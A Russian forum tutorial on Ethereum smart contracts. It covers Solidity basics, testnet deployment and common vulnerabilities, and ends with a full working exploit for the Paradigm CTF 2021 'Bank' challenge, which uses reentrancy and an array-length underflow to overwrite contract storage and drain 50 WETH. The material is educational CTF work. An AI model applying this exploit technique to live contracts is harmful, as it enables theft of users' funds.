Смарт-контракты и их уязвимости

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
Вступление

Сегодня мы разберём: Что такое смарт-контракты и как они работают? Как и на чём писать смарт-контракты? Какие бывают уязвимости и как их искать? Ну и в конце, ограбим банк!
Предупрежение: Автор не претендует на истенность в последней инстанции, так что если в статье есть ошибки, не стесняйтесь на них указать.

Содержание

Введение
Что такое смарт контракты
Solidity
EVM
Безопасность
Пишем первый смарт-контракт
Вступление
Инструментарий
Пишем контракт
Размещаем в тестовой сети
Отслеживаем
Вывод
Уязвимости
Введение
Список
Access Control
Front-Running
Time manipulation
Arithmetic Issues
Reentrancy
Вывод
Грабим банк!
Введение
Разворачиваем контракт
Анализируем уязвимость
Пишем эксплоит
Reentrancy
Underflow
Тестируем
Итог

Введение

Я не буду в сотый раз объяснять как работает block-chain, подобных статей в интернете много. Лучше сразу перейдём к смарт-контрактам:
Если совсем просто, то это байткод который храниться внутри блокчейна, и обеспечивает перевод криптовалюты при соблюдении установленных условий.
Если сложнее - компьютерный алгоритм, предназначенный для формирования, контроля и предоставления информации о владении чем-либо. Чаще всего речь идёт о применении технологии блокчейна.

В более узком смысле под смарт-контрактом понимается набор функций и данных (текущее состояние), находящихся по определённому адресу в блокчейне.

Solidity

Байт-код генерируется компилятором из исходного кода. В случаи ethereum, код смарт-контрактов в большенстве случаев пишется на solidity(Документация).
Есть ещё и другие языки, такие как: Vyper, Serpent, LLL и Mutan. Но рассматривать их мы сегодня не будем.

Solidity - это несложный язык с C-подобным синтаксисом. Для усвоения данного материала его знание не понадобиться, а вот без понимания синтаксиса никуда.

Более подробно мы разберём Solidity в разделе 2, а пока вот базовый пример смарт-контракта на Solidity:

Код:
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}

Довольно просто, не так ли? Тогда идём дальше.

EVM

При вызове смарт-контракт выполняется в так называемой EVM(Ethereum Virtual Machine), из себя она представляет следующее:

c65a63f60cbfb4a77ebd2.png


Она имеет 3 типа памяти:

1) Стэк

0d467d1fd09699c3f97f7.png


Это хранилище данных, 256bit x 1024element. Используется для выполнения байткода, а не для хранения данных.

2) Память


ed3911fafd4bffd6e4b56.png


Используется для хранения данных во время выполнения.

3) Хранилище Аккаунта

e265234fb8f127cfbe9b0.png


Используется для долгосрочного хранения данных. Очень дорогая.

В целом это выглядит так:

f4f4d0540d4c952df8dee.png


Если хотите более подробно узнать как работает EVM, вот ссылки:
- https://ethereum.org/en/developers/docs/evm/
- https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf
- https://habr.com/ru/post/340928/

Безопасность

Вопрос безопасности смарт-контраков очень важен. Наверное все слышали о резонансных ограблениях смарт-контрактов:
- https://decrypt.co/47732/defi-hacks-costing-10-million-a-month-report
- https://decrypt.co/43203/hackers-drain-15-million-from-unreleased-yearn-finance-project
- https://decrypt.co/26033/dforce-lendfme-defi-hack-25m).
Речь идёт о суммах с 6 нулями, поэтому безопасностью смарт-контрактов заинтересованны все.

Пишем первый смарт-контракт

На github есть контракт, который прекрасно подходит для первого раза(GitHub). Я построчно разберу его код, и затем объясню как разместить его в тестовой сети.

В ethereum есть несколько сетей помимо mainnet, это например kovan и ropsten. Монетки из тестовых сетей ничего не стоят, и нигде не торгуются. Эти сети созданы специально в тестовых целях(Тестовые сети)


Инструментарий


Наш инструментарий:

Solc - компилятор solidity. Найти его для windows и linux можно тут
Remix IDE - онлайн IDE для solidity. Инструмент прост в использовании, разбирать как его использовать я не буду, ото статья слишком затянется и превратиться в скучный мануал. Документация
Metamask - Ethereum кошелёк, представляющий собой расширение для браузера. Вот ссылка на установку
Truffle - это целый фреймворк для разработки под Ethereum. Сегодня он нам не пригодиться, но если кому-то консолный интерфейс ближе, Сам фреймворк предлагает более широкий спектр возможностей чем Remix, например тестирование смарт-контрактов. Мануал по Truffle.
Ganache - локальный ethereum блокчейн. С его помощью мы устроим себе тестовую среду. Сслыка на документацию


Пишем контракт

И так приступим:

Открываем IDE(https://remix.ethereum.org/), создаём файл с расширением .sol.

ae5ef9839b2f4c56873ed.png


Первым делом, укажем версию языка:

Код:
pragma solidity ^0.5.0;

Далее создаём класс контракта:

Код:
contract Bounties {

}

Добавим конструктор:

Код:
constrcutor() public {} //Вызывается каждый раз, при создании контраката

Тело контракта создано, можно попробывать скомпилировать.

effe1bfafcf86d5f37179.png


Далее добавим некоторые объекты:

Код:
enum BountyStatus { CREATED, ACCEPTED, CANCELLED } //Перечисление 

struct Bounty { //Структура 
    address issuer; // address - 20 байт адреса ethereum 
    // имеет некоторые методы, такие как .balance() и .transfer()
    uint deadline;
    string data;
    BountyStatus status;
    uint amount;
}

Bounty[] public bounties; // Динамический массив

Полный список типов solidity, вы можете найти тут

Объявим функцию:

Код:
function issueBounty( string memory _data, uint64 _deadline) public payable hasValue() validateDeadline(_deadline) returns (uint) {
	bounties.push(Bounty(msg.sender, _deadline, _data, BountyStatus.CREATED, msg.value));
	emit BountyIssued(bounties.length - 1,msg.sender, msg.value, _data); // Это ивент, о нём ниже
    return (bounties.length - 1);
}

Сразу после аргументов следуют свойства функции, среди них:

public - модификатор доступа, всего их 4, подробнее здесь
payable - без этого ключевого слова, функция не будет принимать переводимый ей ethereum.
hasValue() и validateDeadline(_deadline) - это modifier`ы, они вызываются перед функцией и могут быть использованны для проверки входных параментров. О них ниже.
returns (uint) - указывает возвращаемый тип

Модификаторы:

Код:
modifier validateDeadline(uint _newDeadline) { // Проверяет время на валидность
    require(_newDeadline > now);
    _;
}

modifier hasValue() { // Убеждается в том, что при вызове функции ethereum переведён 
    require(msg.value > 0);
    _;
}

Ивенты:

Ивенты созданы для отслеживания состояния и событий внутри контракта. Их будет видно на Etherscan, к ним мы ещё вернёмся.

Код:
event BountyIssued(uint bounty_id, address issuer, uint amount, string data);

Наш ивент принимает некоторые аргументы, которые он сохранит.

Наш контракт в сборе:

fa16276e601e48586b779.png


Размещаем в тестовой сети

Для того чтобы разместить наш контракт нам нужно:

Байт-код контракта
Кошелёк
Монетки в кошельке

Первую составляющую мы получили на предыдущем шаге, остались всего две.

bb42357278c81bd8da49e.png


Кошелёк - MetaMask, установить его можно отсюда. С регистрацией сами разберётесь, не маленькие.

Далее переключаем сеть с mainnet на ropsten test network.

1d67ec77e4d4f55c627ba.png


Теперь остлись монетки:

Идём к так называемым faucet(по русски краны), они раздают монетки в тестовых сетях.
Вообще faucet`ов много, но лучше сразу идите сюда: https://faucet.ropsten.be/, https://ropsten.faucet.epirus.io/

Вот мы и готовы размещать наш контракт. Переходим на вкладку Deploy & run transactions в Remix и выбираем Inject Web3.

5bc4607d452f4b80c9fe2.png


Смело жмём рыжую кнопку Deploy, и подтвержаем транзакцию в metamask.

1fbd76e3d367a3d1e9d5e.png


Вот наш контракт и в тестовой сети.

Отслеживаем

Дальше, чтобы отследить наш контракт в сети, нам понадобится etherscan
Etherscan это платформа для анализа сетей ethereum. Мы воспользуемся ropsten версией.

Перед тем как ослеживать контракт, давайте добавим одну issue. Делается это легко, через интерфейс remix.
(Не забудьте указать value и поставить валидный deadline, например 1691452800).

Вот и наш контракт:

33b51cc003de181b3b75b.png


Ивент тоже на месте:

703ba5578c5a4d6d9dcab.png


Как я думаю уже стало понятно, писать и размещать смарт-контракты совершенно не сложно.
Ну и раз уж с написанием контрактов мы разобрались, перейдём к самому интересному - уязвимостям.

Уязвимости

В смарт контрактах существует множенсто разных уязвимостей. В этой статье я опишу всего несколько из них:

1. Access Control

Я уже говорил о модификаторах доступа к функциям. Уязвимость возникает из за того, что некоторые разработчики не умеют с ними обращаться и пишут нечто подобное:

Код:
function initContract() public {
	owner = msg.sender;
}

Эта публично доступная функция, назначает любого вызвавшего её владельцем контракта.

Так же к этой категории относятся уязвимости delegatecall(Функция позволяющая вызывать соторонний контракт). Например вторая атака на Parity на этом и основана.
Тогда пользователь смог стать владельцем контракта и удалить его. После чего написал в github проэкта о том, что случайно его удалил.

28ef36cad76afc5636712.jpg


2. Front-Running

Эта уязвимсоть возникает ещё в пуле транзакций, до добавления их в блокчейн. Дело в том что когда транзакция попадает в пул, она уже становиться видна всем.
Тоесть если ваша транзакция содержить какие-то данные, они могут быть скопированны и отправлены повторно, но с большим gas(контракт злоумышленника смайнится быстрее).

Пример: https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798

3. Time manipulation

В Solidity переменная now задаётся майнером(block.timestamp), поэтому использовать её как источник энтропии для случайных чисел нельзя.

Пример уязвимиго кода:

Код:
contract Auction {
    uint jackpot = 100 ether;
    uint public lastBid = 1 ether;
 
    constructor() public payable {}
 
    function setBid() public payable {
        require(msg.value >= lastBid); 
        if (now%20 == 0){
            msg.sender.transfer(jackpot);
        }
    }
}

4. Arithmetic Issues

По сути обычний integer overflow. Граница значений uint в Solidity - 2^256-1. Так что при переполнении вниз, число может стать огромным.

Пример:

Код:
function popArrayOfThings() {
	require(arrayOfThings.length >= 0);
	arrayOfThings.length--; 
}

Более реалистичный пример будет в последнем разделе.

5. Reentrancy
Пожалуй самая популярная уязвимость в смарт-контрактах. На русском это звучит как рекурсивый вызов, чем оно и является:
При вызове функции стороннего контракта, сторонний контракт может вызвать функцию контракта инициатора.

Именно эта уязвимость была применена в известной атаке на DAO. Эта атака привела к краже более чем 3.6 млн ethereum.
(по актуальному, на момент написания статьи, курсу это примерно 15,000,000,000$, а тогда всего 50,000,000$).

Пример:

Код:
function withdraw(uint _amount) {
	require(balances[msg.sender] >= _amount);
	msg.sender.call.value(_amount)();
	balances[msg.sender] -= _amount;
}

Ссылки:
- https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code
- http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/
- http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao

В следующем разделе, мы разберём и проэкплуатируем две последних узявимости: Arithmetic Issue и Reentrancy.
Это безусловно не все уязвимости смарт-контрактов, если вам интересно больше то, добро пожаловать на dasp.co и в google.

Грабим банк!

Нашей целю станет смарт-контракт Bank, с 50 ETH внутри!
Этот контракт я взял с Paradigm CTF 2021. Задания здесь сложнее и приближеннее к реальности чем в том-же Ethernaut или Capture the Ether.
Ссылка на уязвимый код: https://github.com/paradigm-operations/paradigm-ctf-2021/blob/master/bank/public/contracts/Bank.sol

Что-бы развернуть смарт-контракт, мне пришлось его немного модифицировать. Вот полный код задания:

Код:
pragma solidity >=0.4.23;

contract ERC20Like {
    function transfer(address dst, uint qty) public returns (bool);
    function transferFrom(address src, address dst, uint qty) public returns (bool);
    function approve(address dst, uint qty) public returns (bool);
    
    function balanceOf(address who) public view returns (uint);
}

contract WETH9 is ERC20Like {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    function() external payable {
        deposit();
    }
    
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
    
    function balanceOf(address who) public view returns (uint) {
        return balanceOf[who];
    }
    
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        msg.sender.transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address dst, uint qty) public returns (bool) {
        allowance[msg.sender][dst] = qty;
        emit Approval(msg.sender, dst, qty);
        return true;
    }

    function transfer(address dst, uint qty) public returns (bool) {
        return transferFrom(msg.sender, dst, qty);
    }

    function transferFrom(address src, address dst, uint qty)
        public
        returns (bool)
    {
        require(balanceOf[src] >= qty);

        if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
            require(allowance[src][msg.sender] >= qty);
            allowance[src][msg.sender] -= qty;
        }

        balanceOf[src] -= qty;
        balanceOf[dst] += qty;

        emit Transfer(src, dst, qty);

        return true;
    }
}

contract Bank {
    address public owner;
    address public pendingOwner;
    
    struct Account {
        string accountName;
        uint uniqueTokens;
        mapping(address => uint) balances;
    }
    
    mapping(address => Account[]) accounts;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function depositToken(uint accountId, address token, uint amount) external {
        require(accountId <= accounts[msg.sender].length, "depositToken/bad-account");
        
        // open a new account for the user if necessary
        if (accountId == accounts[msg.sender].length) {
            accounts[msg.sender].length++;
        }
        
        Account storage account = accounts[msg.sender][accountId];
        uint oldBalance = account.balances[token];
        
        // check the user has enough balance and no overflows will occur
        require(oldBalance + amount >= oldBalance, "depositToken/overflow");
        require(ERC20Like(token).balanceOf(msg.sender) >= amount, "depositToken/low-sender-balance");
        
        // increment counter for unique tokens if necessary
        if (oldBalance == 0) {
            account.uniqueTokens++;
        }
        
        // update the balance
        account.balances[token] += amount;
        
        // transfer the tokens in
        uint beforeBalance = ERC20Like(token).balanceOf(address(this));
        require(ERC20Like(token).transferFrom(msg.sender, address(this), amount), "depositToken/transfer-failed");
        uint afterBalance = ERC20Like(token).balanceOf(address(this));
        require(afterBalance - beforeBalance == amount, "depositToken/fee-token");
    }
    
    function withdrawToken(uint accountId, address token, uint amount) external {
        require(accountId < accounts[msg.sender].length, "withdrawToken/bad-account");
        
        Account storage account = accounts[msg.sender][accountId];
        uint lastAccount = accounts[msg.sender].length - 1;
        uint oldBalance = account.balances[token];
        
        // check the user can actually withdraw the amount they want and we have enough balance
        require(oldBalance >= amount, "withdrawToken/underflow");
        require(ERC20Like(token).balanceOf(address(this)) >= amount, "withdrawToken/low-sender-balance");
        
        // update the balance
        account.balances[token] -= amount;
        
        // if the user has emptied their balance, decrement the number of unique tokens
        if (account.balances[token] == 0) {
            account.uniqueTokens--;
            
            // if the user is withdrawing everything from their last account, close it
            // we can't close accounts in the middle of the array because we can't
            // clone the balances mapping, so the user would lose all their balance
            if (account.uniqueTokens == 0 && accountId == lastAccount) {
                accounts[msg.sender].length--;
            }
        }
        
        // transfer the tokens out
        uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
        require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
        uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
        require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
    }
    
    // set the display name of the account
    function setAccountName(uint accountId, string name) external {
        require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
        
        accounts[msg.sender][accountId].accountName = name;
    }
    
    // close the last account if empty - we need this in case we couldn't automatically close
    // the account during withdrawal
    function closeLastAccount() external {
        // make sure the user has an account
        require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
        
        // make sure the last account is empty
        uint lastAccount = accounts[msg.sender].length - 1;
        require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
        
        // close the account
        accounts[msg.sender].length--;
    }
    
    function getLength(address who) public view returns (uint) {
        return accounts[who].length;
    }
    
    // get info about the account
    function getAccountInfo(uint accountId) public view returns (string, uint) {
        require(accountId < accounts[msg.sender].length, "getAccountInfo/invalid-account");
        
        return (
            accounts[msg.sender][accountId].accountName,
            accounts[msg.sender][accountId].uniqueTokens
        );
    }
    
    // get the balance of a token
    function getAccountBalance(uint accountId, address token) public view returns (uint) {
        require(accountId < accounts[msg.sender].length, "getAccountBalance/invalid-account");
        
        return accounts[msg.sender][accountId].balances[token];
    }
    
    // transfer ownership to a new address
    function transferOwnership(address newOwner) public {
        require(msg.sender == owner);
        
        pendingOwner = newOwner;
    }
    
    // accept the ownership transfer
    function acceptOwnership() public {
        require(msg.sender == pendingOwner);
        
        owner = pendingOwner;
        pendingOwner = address(0x00);
    }
}

contract Setup {
    WETH9 public weth;
    Bank public bank;
    
    constructor(address wethAddr) public payable {
        require(msg.value == 50 ether);
        weth = WETH9(wethAddr);
        
        bank = new Bank();
        
        weth.deposit.value(msg.value)();
        weth.approve(address(bank), uint(-1));
        bank.depositToken(0, address(weth), weth.balanceOf(address(this)));
    }
    
    function isSolved() external view returns (bool) {
        return weth.balanceOf(address(bank)) == 0;
    }
}

Разворачиваем контракт
Первым делом установим упомянутый мной выше Ganache.
Делается это в пару команд, так что объяснять как ставить софт я не буду.

Сразу после установки создаваём простую сеть, и подключаемся к ней через Remix.

78eae3da89c188290c4cf.png


Далее размещаем наш контракт WETH9, после передавая его адрес в конструктор Setup.
Банк готов к ограблению!

Анализируем уязвимость
Уязвимсоть кроется в withdrawToken:

Код:
function withdrawToken(uint accountId, address token, uint amount) external {
    require(accountId < accounts[msg.sender].length, "withdrawToken/bad-account");
        
    Account storage account = accounts[msg.sender][accountId];
    uint lastAccount = accounts[msg.sender].length - 1;
    uint oldBalance = account.balances[token];
        
    require(oldBalance >= amount, "withdrawToken/underflow"); 
    require(ERC20Like(token).balanceOf(address(this)) >= amount, "withdrawToken/low-sender-balance"); // 1
        
    account.balances[token] -= amount;
        
    if (account.balances[token] == 0) {
        account.uniqueTokens--;
            
        if (account.uniqueTokens == 0 && accountId == lastAccount) {
            accounts[msg.sender].length--; // 2
        }
    }
        
    uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
    require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
    uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
    require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
}

В месте, помеченным цифрой 1 мы видим вызов функции balanceOf из внешнего контракта.
Ничего не напоминает? Верно - Reentrancy

Кроме того я не зря пометил цифорой два место с декреметом accounts[addr].length.
Мы используем это место как Arithmetic Issues, несколько раз декрементировав её и сделав огромной.

Пишем эксплоит
Перым делом напишем основу нашего exploit контракта. Он должен имплементировать все методы из ERC20Like:

Код:
contract Exploit is ERC20Like{
    Bank private bank; //Все нужные нам адреса есть здесь
    WETH9 private weth;
    Setup private setup;
    
    constructor(Setup argSetup) public payable {
        setup = arg_setup; // Принимает адресс setup
        bank = setup.bank(); // и инициальзирует переменные 
        weth = setup.weth();
    }
    
    mapping(address => uint) balances; // Маппинг с балансами
    
    // transfer и transferFrom, просто вычитают баланс одного адреса и добавляют другому
    function transfer(address dst, uint qty) public returns (bool) {
        balances[msg.sender] -= qty;
        balances[dst] += qty;
        return true;
    }
    
    function transferFrom(address src, address dst, uint qty) public returns (bool) {
        balances[src] -= qty; 
        balances[dst] += qty;
        return true;
    }

    function approve(address, uint) public returns (bool) {
        return true; //Заглушка
    }
    
    function balanceOf(address who) public view returns (uint) {
        //Здесь будет код, нужный для эксплуатации reentrancy
        return 0; //Просто заглушка
    }
    
    function run() public {
        // Пока оставим пустым, здесь будет основаная логика эксплоита 
    }
}

Тело готово, больше мы к нему возвращаться не будем, далее я буду разбирать только функции run() и balanceOf().

Reentrancy
Теперь напишем механизм экплуатации Reentrancy. Наша основная задача состоит в том, что-бы вызвать underflow значения accounts[addr].length.
Все проверки внутри функций withdrawToken, depositToken и сloseLastAccount проверяют uniqueTokens и accounts[addr].legth.

Код который вызывает underflow:

Код:
uint i = 0;
function balanceOf(address who) public view returns (uint) {
    if (i == 1) {
        i++;
        bank.withdrawToken(0, this, 0);
    } else if (i == 2) {
        i++;
        bank.depositToken(0, this, 0);
    } else if (i == 3) {
        i = 0;
        bank.closeLastAccount();
    }
    
    return 0;
}

function run() public {
    i = 1;
    bank.depositToken(0, address(this), 0); 
}

Вот схема по которой он экплуатирует reentrancy:

Код:
depositToken: uniqueTokens = 0, length = 1
    withdrawToken: uniqueTokens = 0, length = 1
        depositToken: uniqueTokens = 0, length = 1
            closeLastAccount: uniqueTokens = 0, length = 0
        depositToken: uniqueTokens = 1, length = 0
    withdrawToken: uniqueTokens = 0, length = -1
depositToken: uniqueTokens = 1, length = -1

И как резульат, при чтении accounts[/*адресс нашего Exploit контракта*/)].length получаем:

ea274b4d1f956310909b4.png


Теперь мы имеем доступ ко всему хранилищу контракта!

Underflow

Первое что приходит в голову, это накрутить себе баланс аккаунта, и вывести все 50 eth из банка.

Чтобы сделать это нам понадобиться адресс ячейки памяти, где храниться наш баланс. Понять как вычисляется адрес значения в памяти EVM можно прочитав эту статью

Для записи в любой слот, мы будем использовать функцию:

Код:
setAccountName(accountId, value)

Баланс нашего аккаунта храниться в структуре:

Код:
struct Account {
    string accountName;
    uint uniqueTokens;
    mapping(address => uint) balances;
}

Формула для вычисления слота со структурой:

Код:
keccak(keccak(our_addr . 2)) + 3 * accountId

Тогда формула слота баланса:

Код:
keccak( WETH . [keccak(keccak(our_addr . 2)) + 3 * accountId + 2] )

Из этого следует, что accountId находиться по формуле:

Код:
accountId = [balanceSlot - keccak(keccak(our_addr . 2))] / 3

Но тут возникает сложность, [balanceSlot - keccak(keccak(our_addr . 2))] должно быть целым числом кратным 3. Единственный вариант это подбирать.

Вот код который эксплуатирует уязвимость:

Код:
bytes32 arraySlot = keccak256(bytes32(address(this)), uint(2));
bytes32 arrayStart = keccak256(arraySlot);

int account = -1;
uint slots;
do {
    account++; //Перебирает аккаунты
    bytes32 accountStart = bytes32(uint(arrayStart) + 3*uint(account));
    bytes32 accountBalances = bytes32(uint(accountStart) + 2);
    bytes32 wethBalance = keccak256(bytes32(address(weth)), accountBalances);
    
    slots = (uint(-1) - uint(arrayStart));
    slots++;
    slots += uint(wethBalance);
} while (uint(slots) % 3 != 0); //Будет повторять до тех пор, пока не станет кратным 3
   
uint accountId = uint(slots) / 3;

bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));

bank.withdrawToken(uint(account), address(weth), weth.balanceOf(address(bank))); //Выводит все деньги из банка

Тестируем

Вот полный код решения:

Код:
contract Exploit is ERC20Like{
    Bank private bank;
    WETH9 private weth;
    Setup private setup;
    
    constructor(Setup argSetup) public payable {
        setup = argSetup;
        bank = setup.bank();
        weth = setup.weth();
    }
    
    mapping(address => uint) balances;
    uint i = 0;
    
    function transfer(address dst, uint qty) public returns (bool) {
        balances[msg.sender] -= qty;
        balances[dst] += qty;
        return true;
    }
    
    function transferFrom(address src, address dst, uint qty) public returns (bool) {
        balances[src] -= qty;
        balances[dst] += qty;
        return true;
    }

    function approve(address, uint) public returns (bool) {
        return true;
    }
    
    function balanceOf(address who) public view returns (uint) {
        if (i == 1) {
            i++;
            bank.withdrawToken(0, this, 0);
        } else if (i == 2) {
            i++;
            bank.depositToken(0, this, 0);
        } else if (i == 3) {
            i = 0;
            bank.closeLastAccount();
        }
        
        return 0;
    }
    
    function run() public {
        i = 1;
        bank.depositToken(0, address(this), 0);
        
        bytes32 arraySlot = keccak256(bytes32(address(this)), uint(2));
        bytes32 arrayStart = keccak256(arraySlot);
    
        int account = -1;
        uint slots;
        do {
            account++;
            bytes32 accountStart = bytes32(uint(arrayStart) + 3*uint(account));
            bytes32 accountBalances = bytes32(uint(accountStart) + 2);
            bytes32 wethBalance = keccak256(bytes32(address(weth)), accountBalances);
            
            slots = (uint(-1) - uint(arrayStart));
            slots++;
            slots += uint(wethBalance);
        } while (uint(slots) % 3 != 0);
    
        uint accountId = uint(slots) / 3;
    
        bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));
        
        bank.withdrawToken(uint(account), address(weth), weth.balanceOf(address(bank)));
    }
}

Проверяем баланс на WETH9:

b4fbc3e5459a9fcdd5bf0.png


Поздравляю, мы только что ограбили смарт-контракт!

Вместо итога
Безопасность смарт-контрактов очень интересная тема, странно что на русских бордах о ней почти ничего нет.

Автор: Azrv3l
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.